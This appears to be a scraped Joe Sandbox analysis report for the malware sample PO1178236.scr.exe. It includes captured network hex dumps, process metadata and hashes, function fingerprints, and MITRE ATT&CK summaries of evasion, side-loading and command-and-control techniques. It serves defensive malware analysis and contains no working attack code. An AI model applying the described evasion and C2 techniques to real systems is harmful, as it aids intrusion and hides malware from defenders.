2025-01-09 07:29:52 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:52 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 66 64 63 62 30 62 38 63 35 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7fdcb0b8c57</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:52 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 66 64 63 62 30 62 38 63 35 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 35 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7fdcb0b8c57',t:'MTczNjQwNzc5Mi4wMDAwMDA='}
2025-01-09 07:29:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: PO1178236.scr.exePID: 7432, Parent PID: 2580

General

Target ID:	0
Start time:	02:28:19
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\PO1178236.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO1178236.scr.exe"
Imagebase:	0xd0000
File size:	12'800 bytes
MD5 hash:	D165A97582770739CC7B847E1B5DBEEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: PO1178236.scr.exePID: 7432, Parent PID: 2580COMMON

Executed Functions

Function 00A408C0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158240632.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: debac3c1588b67f987dc956b513c1e832d4cb0542f571538be82b53eaf6835be
Instruction ID: e562ce0c6e7601a3e65d6dc6aee4d05ab773369a485fb9b2d85c078a5d262f52
Opcode Fuzzy Hash: debac3c1588b67f987dc956b513c1e832d4cb0542f571538be82b53eaf6835be
Instruction Fuzzy Hash: 01318938B00204CFDB55AB78C549B2E77E2ABC8314F20846DD54ADB396DB75DC029B92

Function 00A41225 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158240632.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8aa671cb9763ba87642656277eca931dbd202171177fe4422507abd591aa400
Instruction ID: 0941ea94a2967143b5bb0ad9fca42b67f1b4eacd51e1d875f6005eed90e6b598
Opcode Fuzzy Hash: e8aa671cb9763ba87642656277eca931dbd202171177fe4422507abd591aa400
Instruction Fuzzy Hash: A84169B4D00348DFCB14CFA9C590ADEBFF1AF88304F24806AE448AB251CB349945CFA1

Function 00A41240 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158240632.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f1194dcc9a5e0fc71bffa364bf5a81330c58698eb64e4d76ab465582526210d
Instruction ID: 484302f8aab62a727cb2017f0c8eb5fd7c67f2b240dd95bf7933a7c8973c2bce
Opcode Fuzzy Hash: 3f1194dcc9a5e0fc71bffa364bf5a81330c58698eb64e4d76ab465582526210d
Instruction Fuzzy Hash: EA313AB0D00258DFCB14CFAAC580ADEBFF5AF88340F248029E549AB350DB74A945CF95

Function 0079D4A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158061161.000000000079D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0079D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79d000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 181867145eb3b385b626698b1df81470a9a05e347976177362228129c89b2188
Instruction ID: d0bc89d14990cc20fd371b0d916cc2f5fac01aabed41d8eb541410913e99de06
Opcode Fuzzy Hash: 181867145eb3b385b626698b1df81470a9a05e347976177362228129c89b2188
Instruction Fuzzy Hash: BB2103B1544240DFDF25DF14E9C0B26BF65FB98318F20C169E9094A266C33ADC66CBA2

Function 0079D49B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158061161.000000000079D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0079D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79d000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 3209fc0b7867c6255efcf33d74d4623a82d7a534078b1e36d488f5659aeed5f0
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 4711D376504240CFDF16CF14D5C4B16BF71FB94324F24C5A9D9090B256C33AD96ACBA2

Function 00A40818 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158240632.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d2618ea99f01b182224f6eb25f3eab9149d8da590714a2c8959c83f8434aaad
Instruction ID: 7b801ee69a361992d506795aebf99227827a883a3f1d9d09a4d32853dd764bd8
Opcode Fuzzy Hash: 5d2618ea99f01b182224f6eb25f3eab9149d8da590714a2c8959c83f8434aaad
Instruction Fuzzy Hash: 0B01A73190E3C89FCB03EB789E254897F749E8321475981D7D184DB163D6309E48D796

Function 0079D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158061161.000000000079D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0079D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79d000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c127cb84465e9d649d9e85b1a42e28b21b2f6415de378e78836b55e7d864550
Instruction ID: e2b2dd552b7dc8360b194b802d0e9db8171728c57bb9d147d5ebfd17fbda90b9
Opcode Fuzzy Hash: 3c127cb84465e9d649d9e85b1a42e28b21b2f6415de378e78836b55e7d864550
Instruction Fuzzy Hash: 9A01A2311083449AEB308AA9E984B67BFD8EF51364F18C52AED494A286C27D9C40CA72

Function 0079D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158061161.000000000079D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0079D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79d000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a9081847f04b8a7be9c40ec3e18234a666a6e21e27058b4e908419fd5b9658
Instruction ID: c94da45e96f4ec37f1bb85bc9fd54a95bf2a0c61264f28555e35faafa27012f7
Opcode Fuzzy Hash: d2a9081847f04b8a7be9c40ec3e18234a666a6e21e27058b4e908419fd5b9658
Instruction Fuzzy Hash: B0F062724083449EEB208A16D884B62FFA8EB91734F18C55AED484E286C2799C44CB71

Function 00A40857 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158240632.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d34e852595b38ae1a735163a1f425ca7344ca4222e6278347efefc3c08a9b2
Instruction ID: e5843488b7115e7f04f9c9019da2d2cebe7c782971f807bbc81ba03fdb86add6
Opcode Fuzzy Hash: e8d34e852595b38ae1a735163a1f425ca7344ca4222e6278347efefc3c08a9b2
Instruction Fuzzy Hash: 77D0C935218380CFC7025BA0EC1D2547F31BEC3205759D0D2E789CA973CABA0C06CB96

Function 00A40868 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4158240632.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_PO1178236.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0972f501010a1a2a5686ce4227425f41b33b04b5458f3b28701d123857f7b248
Instruction ID: 104eb9350e8747844d8795a24cbab948a58ff3a9b2a841c5003cf04e70762e3f
Opcode Fuzzy Hash: 0972f501010a1a2a5686ce4227425f41b33b04b5458f3b28701d123857f7b248
Instruction Fuzzy Hash: 60B09230210108CBC2002BA0FC0D0487B68AAC26023408021B20EC08328BAA1C008A48

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO1178236.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Windows Analysis Report
PO1178236.scr.exe